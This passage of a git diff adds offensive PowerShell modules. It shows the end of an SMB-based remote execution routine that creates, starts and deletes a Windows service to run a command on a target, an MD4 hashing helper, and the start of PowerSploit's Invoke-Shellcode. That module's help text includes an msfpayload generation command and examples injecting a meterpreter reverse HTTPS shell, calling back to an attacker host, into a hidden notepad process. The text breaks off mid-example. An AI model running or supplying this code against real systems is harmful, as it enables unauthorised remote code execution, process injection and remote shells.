ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID + $packet_SMB2_data["SMB2WriteRequest_Length"] = 0x48,0x00,0x00,0x00 + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m $Sleep + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $SCM_data.length + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + + if($SMB_execute -eq $true) + { + Write-Output "$output_username is a local administrator on $Target" + $SMB_client_stage = 'CreateServiceW' + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $SCM_data.length + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + Write-Output "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $SCM_data.length + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + Write-Output "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $SCM_data.length + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + Write-Output "Service $SMB_service deleted on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB2_message_ID += 1 + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $SCM_data.length + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + + } + + $SMB_client.Close() + $SMB_client_stream.Close() +} + +} + +Function Get-MD4Hash { +<# +.SYNOPSIS + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + +.DESCRIPTION + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + This cmdlet uses Microsoft's implementation of MD4, exported + from bcrypt.dll. The implementation is fully compliant with + RFC 1320. This cmdlet takes a byte array as input, not a string. + So if you wanted to hash a string (such as a password,) you + need to convert it to a byte array first. + +.EXAMPLE + Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes("YourPassword1!")) + +.PARAMETER DataToHash + A byte array that represents the data that you want to hash. + +.INPUTS + A byte array containing the data you wish to hash. + +.OUTPUTS + A 128-bit hexadecimal string - the MD4 hash of your data. + +.NOTES + Author: Ryan Ries, 2014, ryan@myotherpcisacloud.com + +.LINK + https://myotherpcisacloud.com +#> + [CmdletBinding()] + Param ([Parameter(Mandatory=$True, ValueFromPipeline=$False)] + [Byte[]]$DataToHash) + END + { + Set-StrictMode -Version Latest + if (-not ([System.Management.Automation.PSTypeName]'dsafdsafdsafds').Type) + { + Add-Type -TypeDefinition @' + using System; + using System.Text; + using System.Runtime.InteropServices; + public class dsafdsafdsafds + { + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptOpenAlgorithmProvider( + [Out] out IntPtr phAlgorithm, + [In] string pszAlgId, + [In, Optional] string pszImplementation, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptCloseAlgorithmProvider( + [In, Out] IntPtr hAlgorithm, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptCreateHash( + [In, Out] IntPtr hAlgorithm, + [Out] out IntPtr phHash, + [Out] IntPtr pbHashObject, + [In, Optional] UInt32 cbHashObject, + [In, Optional] IntPtr pbSecret, + [In] UInt32 cbSecret, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptDestroyHash( + [In, Out] IntPtr hHash); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptHashData( + [In, Out] IntPtr hHash, + [In, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptFinishHash( + [In, Out] IntPtr hHash, + [Out, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [Flags] + public enum AlgOpsFlags : uint + { + BCRYPT_PROV_DISPATCH = 0x00000001, + BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008, + BCRYPT_HASH_REUSABLE_FLAG = 0x00000020 + } + + // This is a gigantic enum and I don't want to copy all of it into this Powershell script. + // Basically anything other than zero means something went wrong. + public enum NTStatus : uint + { + STATUS_SUCCESS = 0x00000000 + } + } +'@ +} + + [Byte[]]$HashBytes = New-Object Byte[] 16 + [IntPtr]$PHAlgorithm = [IntPtr]::Zero + [IntPtr]$PHHash = [IntPtr]::Zero + $NTStatus = [dsafdsafdsafds]::BCryptOpenAlgorithmProvider([Ref] $PHAlgorithm, 'MD4', $Null, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptOpenAlgorithmProvider failed with NTSTATUS $NTStatus" + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + $NTStatus = [dsafdsafdsafds]::BCryptCreateHash($PHAlgorithm, [Ref] $PHHash, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptCreateHash failed with NTSTATUS $NTStatus" + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + + $NTStatus = [dsafdsafdsafds]::BCryptHashData($PHHash, $DataToHash, $DataToHash.Length, 0) + $NTStatus = [dsafdsafdsafds]::BCryptFinishHash($PHHash, $HashBytes, $HashBytes.Length, 0) + + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + + $HashString = New-Object System.Text.StringBuilder + Foreach ($Byte In $HashBytes) + { + [Void]$HashString.Append($Byte.ToString("X2")) + } + Return $HashString.ToString() + } +} \ No newline at end of file diff --git a/Modules/Invoke-Shellcode.ps1 b/Modules/Invoke-Shellcode.ps1 new file mode 100644 index 0000000..5cca9f5 --- /dev/null +++ b/Modules/Invoke-Shellcode.ps1 @@ -0,0 +1,698 @@ +function Invoke-Shellcode +{ +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Proxy + +Optionally specifies whether to utilize the proxy settings on the machine. + +.PARAMETER Legacy + +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 